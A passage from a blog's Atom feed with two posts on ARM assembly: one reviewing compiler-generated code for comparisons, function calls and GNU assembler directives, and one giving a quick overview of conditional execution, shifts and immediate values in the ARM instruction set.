&lt;p&gt;Also, in &lt;code class="none"&gt;sum&lt;/code&gt; we believed that 4 unused bytes were reserved to store &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but here we see that the space is reserved later with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and does not include space for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="comparisons"&gt;Comparisons&lt;/h3&gt;
&lt;p&gt;The call to &lt;code class="none"&gt;rand&lt;/code&gt; (parameterless) is done with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, branch and link.&lt;/p&gt;
&lt;p&gt;The return value is in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and for some reason it is pushed and popped back from the stack into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is used as the placeholder for this and for subsequent references to the returned value of &lt;code class="none"&gt;rand&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two comparisons are made for the &lt;code class="none"&gt;if-else if&lt;/code&gt; statement:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.L9&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first compares &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code class="none"&gt;rand&lt;/code&gt; returned value) with a immediate value of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The second compares two registers, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, where &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is also a fixed value but it is to large to fit in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instruction as an immediate value.&lt;/p&gt;
&lt;p&gt;In this case the value is loaded in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register from the code segment (label &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.L9&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;.L9:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.word&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;16449&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="function-call"&gt;Function call&lt;/h3&gt;
&lt;p&gt;A function call is done with &lt;em&gt;branch with link&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Arguments are passed via &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; registers from left to right. More than 4 arguments require the stack.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; call to sum(r, 0x4041)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.L9&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; second arg&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]   ; first arg&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;sum&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; saves the next instruction (the &lt;em&gt;return address&lt;/em&gt;) in the &lt;em&gt;link&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r14&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and set the destination address in the &lt;em&gt;program counter&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r15&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;em&gt;branch and exchange&lt;/em&gt;) is used to return to the caller.&lt;/p&gt;
&lt;h2 id="arm-directives"&gt;Arm directives&lt;/h2&gt;
&lt;p&gt;Two more fragments remains that are not part of any function.&lt;/p&gt;
&lt;p&gt;These are &lt;a href="https://sourceware.org/binutils/docs-2.27/as/ARM-Directives.html"&gt;directives for the GNU Assembler&lt;/a&gt;, see also &lt;a href="https://ftp.gnu.org/old-gnu/Manuals/gas-2.9.1/html_chapter/as_7.html"&gt;this&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.arch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;armv6&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.eabi_attribute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.file&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;asm1.c&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.text&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.ident&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;GCC: (Raspbian 8.3.0-6+rpi1) 8.3.0&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.section&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;.note.GNU&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;progbits&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;I have being reading &lt;a href="https://developer.arm.com/documentation/ihi0042/latest/"&gt;documentation&lt;/a&gt; and &lt;a href="https://www.coranac.com/tonc/text/asm.htm"&gt;write ups&lt;/a&gt; about Arm during the last weeks.&lt;/p&gt;
&lt;p&gt;When I &lt;a href="/articles/2020/12/27/TLDR-Quick-Overview-of-Arm.html"&gt;started&lt;/a&gt; my idea was to use a &lt;a href="/articles/2020/12/15/Qemulating-Rasbian-ARM.html"&gt;QEMU virtual machine for testing&lt;/a&gt;: code a little of assembly, compile it, debugging it with GDB and seeing the effects.&lt;/p&gt;
&lt;p&gt;It turns out to be tedious very quickly.&lt;/p&gt;
&lt;p&gt;I relayed then more in the documentation and the &lt;a href="https://documentation-service.arm.com/static/5ed66080ca06a95ce53f932d?token="&gt;instruction set reference&lt;/a&gt; but when I review real code (like the one in this post) some things made no sense.&lt;/p&gt;
&lt;p&gt;Obviously there were errors in my interpretation of the code.&lt;/p&gt;
&lt;p&gt;That’s why I coded an &lt;a href="https://github.com/bad-address/iasm"&gt;interactive assembler&lt;/a&gt; to have a quick feedback of what each instruction does without requiring a compile-upload-debug cycle.&lt;/p&gt;
&lt;p&gt;It really help me to “smooth out certain rough edges” and understand better the code specially when the indexing flavors and how the things are pushed and popped from the stack.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/04/Review-Arm-Assembly.html" rel="alternate" type="text/html" title="Review Arm Assembly"/>
    <category term="ARM" label="ARM"/>
    <category term="reversing" label="reversing"/>
    <category term="iasm" label="iasm"/>
    <published>2021-01-04T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/12/27/TLDR-Quick-Overview-of-Arm.html</id>
    <title>TL;DR Quick Overview of Arm</title>
    <updated>2020-12-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Speed-reading of &lt;a href="https://www.coranac.com/tonc/text/asm.htm"&gt;Whirlwind Tour of ARM Assembly&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h1 id="the-arm-instruction-set"&gt;The Arm instruction set&lt;/h1&gt;
&lt;p&gt;Arm is a Reduced Instruction Set Computer (RISC) that have a small set of instructions of fixed size in contrast with the Complex Instruction Set Computer (CISC).&lt;/p&gt;
&lt;p&gt;In Arm the instructions are of 32 bits and the Thumb version has 16 and 32 bits instructions.&lt;/p&gt;
&lt;p&gt;ARMv3 to ARMv7 versions has 32 bits addresses, previous version has 26 bits and ARMv8 introduced the 64 bits addresses.&lt;/p&gt;
&lt;h3 id="almost-everything-is-conditional"&gt;Almost everything is conditional&lt;/h3&gt;
&lt;p&gt;Instructions can be executed conditionally. This avoids explicit jumps that are slower and the overall code size is smaller.&lt;/p&gt;
&lt;p&gt;Use this for small snippets and fallback to traditional branches/jumps when the code is too large.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; r2 = max(r0, r1), traditional impl with branches&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;blt&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;.Lbmax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; go to Lbmax if r0 &amp;lt; r1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; r0 is higher ==&amp;gt; r0 &amp;gt; r1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;.Lrest&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; finish&lt;/span&gt;
&lt;span class="nl"&gt;.Lbmax:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; r1 is higher&lt;/span&gt;
&lt;span class="nl"&gt;.Lrest:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;;  rest of code&lt;/span&gt;

&lt;span class="c1"&gt;; r2 = max(r0, r1), with conditionals moves&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movge&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;;  move if r0 &amp;gt;= r1 (r0 is higher)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movlt&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;;  move if r0 &amp;lt; r1  (r1 is higher)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;;  rest of code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Example took from &lt;a href="https://www.coranac.com/tonc/text/asm.htm"&gt;Whirlwind Tour of Arm Assembly&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Other instructions are also conditional. Even the set of the CPSR flags is conditional: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not set the status flags while &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;subs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it does.&lt;/p&gt;
&lt;h3 id="immediate-values-and-the-second-operand-shift"&gt;Immediate values and the second operand shift&lt;/h3&gt;
&lt;p&gt;Some instructions allow the second operand to be shifted/rotated in the same instruction.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;;  r0 = r1 + r1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4  ;  r0 = r1 + (r1 &amp;lt;&amp;lt; 4)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;;  r0 = r1 + (r1 &amp;lt;&amp;lt; r2)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Five shift/rotation exist, both as part of an instruction like above and as independent instructions as well.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The immediate value for shifts is limited to 31.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Logical shift left &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lsl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, logical shift right &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lsr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, arithmetic shift right &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;asr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, rotate right &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ror&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and rotate right with extend &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;rrx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (the 32 bits register is extended on the left with the &lt;em&gt;carry&lt;/em&gt; bit: the LSB is rotated to the carry bit and the carry bit is shifted to the right into the MSB of the register)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;          10000110
           \\\\\\\\
           ||||||| \
           vvvvvvv  \
          01000011   -&amp;gt; 0   (logical shift right)
          11000011   -&amp;gt; 0   (arithmetic shift right)

          10000110
           \\\\\\\\
           ||||||| \
           vvvvvvv  \
          01000011   |      (rotate shift right)
          ^---------/

   C=0    10000110
      \    \\\\\\\\
       \--\||||||| \
          vvvvvvvv  \
   C=0    01000011   |     (rotate right extended)
     ^---------------/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Having all these nice features in one instruction (shift, conditional, flag set) come with a cost: less room for immediate values.&lt;/p&gt;
&lt;p&gt;In Thumb-2 and ARMv6 and above exists &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#&amp;lt;imm16&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to set a 16 bits number in a register without the possibility of using any of those fancy features. It is a plain move.&lt;/p&gt;
&lt;p&gt;But that’s the exception to the rule. Most of the instructions including fancy moves only allow 8 bits immediate values.&lt;/p&gt;
&lt;p&gt;Like&lt;/p&gt;
